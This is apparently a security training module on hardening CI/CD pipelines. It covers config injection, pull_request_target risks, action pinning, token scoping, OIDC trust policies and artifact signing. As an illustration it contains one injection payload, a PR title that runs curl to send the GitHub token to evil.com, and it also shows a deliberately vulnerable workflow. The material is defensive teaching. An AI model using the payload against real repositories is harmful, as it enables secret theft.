Last updated: April 29, 2026
The CI/CD pipeline is the single system that can build and deploy your production code. Compromise it and you control every release, every commit, every secret your pipelines touch. Attackers know this — supply chain attacks via pipeline have moved from rare to common. This module covers the specific vulnerability classes in pipelines and the hardening that actually works.
Why pipelines are high-value targets
- They hold credentials to production: cloud deploy roles, registry push, prod databases
- They run untrusted input: PR code from anyone, dependencies from open-source registries
- They have build-time network and filesystem access — an attacker who executes in a build runner touches everything
- Compromising a widely-shared pipeline (reusable workflow, shared library) cascades to many downstream repos
The attack surface
- Pipeline config injection — YAML that interprets untrusted input (PR titles, branch names, commit messages) as shell
- Pwn-requests — PRs from forks that trigger privileged workflows via
pull_request_target - Third-party actions/plugins — pulling
@v1tag (mutable) that gets compromised later - Secrets leakage — secrets printed in logs, exported to env vars captured by a compromised step
- Runner compromise — self-hosted runners shared across workflows, not ephemeral
- Registry access — push credentials that can be abused to publish malicious images
- OIDC trust misconfiguration — cloud roles federated to CI with overly broad trust policies
Pipeline config injection — the classic
# BAD — vulnerable to injection
- run: echo "Processing PR ${{ github.event.pull_request.title }}"
# An attacker PR with title: a"; curl evil.com/$GITHUB_TOKEN #
# Runs in the workflow context with full token
# GOOD — pass via env var (never interpolated into shell)
- run: echo "Processing PR $TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}
Rule: never directly interpolate ${{ github.event.* }} or ${{ github.head_ref }} into shell. Route through environment variables.
Pwn-requests — pull_request_target
GitHub’s pull_request trigger runs in the PR’s context (limited permissions, no secrets from the base repo). pull_request_target runs in the base repo’s context (full secrets, write access to the repo). Attackers target workflows using pull_request_target that also check out PR code — the PR can inject malicious code that runs with base-repo privileges.
# DANGEROUS
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@v4
with: { ref: ${{ github.event.pull_request.head.sha }} } # PR code
- run: npm install && npm test # executes PR code!
# The PR is untrusted but npm install runs scripts from package.json
# which the attacker controls
Remediations:
- Use
pull_request(not_target) unless you specifically need base-repo secrets - If you need secrets, split into two workflows — untrusted build produces artifact; trusted workflow consumes artifact without running its code
- Require approval on first-time contributor workflows
Pinning third-party actions
GitHub Action versions by tag are mutable. An action pinned to @v1 could be moved to a malicious commit later by the action owner, or by an attacker who compromised the owner.
# BAD — mutable
- uses: thirdparty/cool-action@v1
# GOOD — immutable commit SHA
- uses: thirdparty/cool-action@a1b2c3d4e5f678901234567890abcdef12345678
# Dependabot can keep SHA pins up to date
Do this for every third-party action. Your own org’s actions can use tags (you control them) but even there, SHAs are safer.
Minimum required token permissions
GitHub Actions’ default token has write permissions on the repo. Most workflows do not need that. Scope down:
# At workflow or job level — read-only by default, grant narrowly
permissions:
contents: read
pull-requests: write # only if the workflow comments on PRs
# Then no job inadvertently has prod-deploy access via GITHUB_TOKEN
Ephemeral, isolated runners
- GitHub-hosted runners: ephemeral by default — each job on fresh VM. Good baseline
- Self-hosted runners: often persistent by default. A compromised job pollutes the next. Use ephemeral patterns: Actions Runner Controller (ARC) on Kubernetes, one-shot runners
- Never run self-hosted runners on public repos without ephemeral setup. Fork PRs will compromise you
OIDC to cloud — do this right
Static cloud credentials in CI secrets are bad. GitHub’s OIDC integration with AWS/Azure/GCP issues short-lived tokens. But the trust policy is the whole game — misconfigured trust equals someone else’s repo deploying to your cloud.
# AWS IAM role trust policy — RIGHT
{
"Effect": "Allow",
"Principal": {"Federated": "arn:aws:iam::123:oidc-provider/token.actions.githubusercontent.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:myorg/myrepo:ref:refs/heads/main"
}
}
}
# Note: 'sub' locks to a specific repo + branch. Without this,
# any repo that triggers OIDC can assume the role.
Secrets handling
- Use a secrets manager (AWS Secrets Manager, HashiCorp Vault). CI fetches at runtime
- Rotate secrets on a schedule and on departures
- Scan logs for accidental secret printing (GitHub masks known secrets; doesn’t catch everything)
- For multi-line secrets (PEM keys), use the secrets manager — GitHub’s line-based masking breaks on multi-line prints
Signing artifacts
Signing ties an artifact to a trusted build. Tools:
- Sigstore Cosign — sign container images with keyless signing (OIDC) or keyed
- SLSA provenance — attestation of how the artifact was built (SLSA levels 1–4)
- GPG for tarballs/packages
# Sign a container in CI
- uses: sigstore/cosign-installer@main
- run: cosign sign --yes $IMAGE@$DIGEST
# Verify at deploy
- run: cosign verify --certificate-identity-regexp 'github.com/myorg/' $IMAGE@$DIGEST
Monitoring the pipeline
- Log all pipeline runs to SIEM (GitHub Audit Log webhooks, GitLab audit events)
- Alert on: new collaborator added, new secret added, workflow edits to security-critical files, anyone skipping required reviews
- Track unusual patterns: workflow triggered from unusual branch, runner executing unusual binaries
The golden rules
- Pin everything by immutable reference (commit SHA, image digest)
- Principle of least privilege on tokens — default read-only, scope up only as needed
- Never run untrusted PR code in privileged workflows
- Never interpolate untrusted input into shell
- Use OIDC over static credentials where possible; lock trust to specific repo+branch+workflow
- Sign what you ship; verify on deploy
- Log pipeline runs to a SIEM; alert on anomalies
- Ephemeral runners; never share build context between jobs
Common real-world incidents
Patterns that have led to public breaches in the last 24 months:
- Codecov — a build artifact compromise leaked CI secrets from thousands of customers
- SolarWinds — pipeline compromise injected malicious code into signed releases
- PyTorch — dependency confusion in its pipeline’s package install
- Numerous npm/PyPI typosquats — compromised packages flowed through CI into production
Every one could have been mitigated or limited by the rules above. Pipeline hardening is not abstract — it is table stakes for any software company in 2026.
Where this leads
Module 5 extends pipeline hardening into the broader supply chain — SBOM, SLSA provenance, dependency signing, and the regulatory pressure (EO 14028, EU CRA) that is pushing software supply chain security from best-practice to mandatory.
Module Quiz · 15 questions
Pass with 80%+ to mark this module complete. Unlimited retries. Each question shows an explanation.
Custom team training + practitioner advisory
Beyond the free academy — we run private workshops, vCISO advisory, and red-team exercises tailored to your stack. For Indian SMBs scaling past their first hire.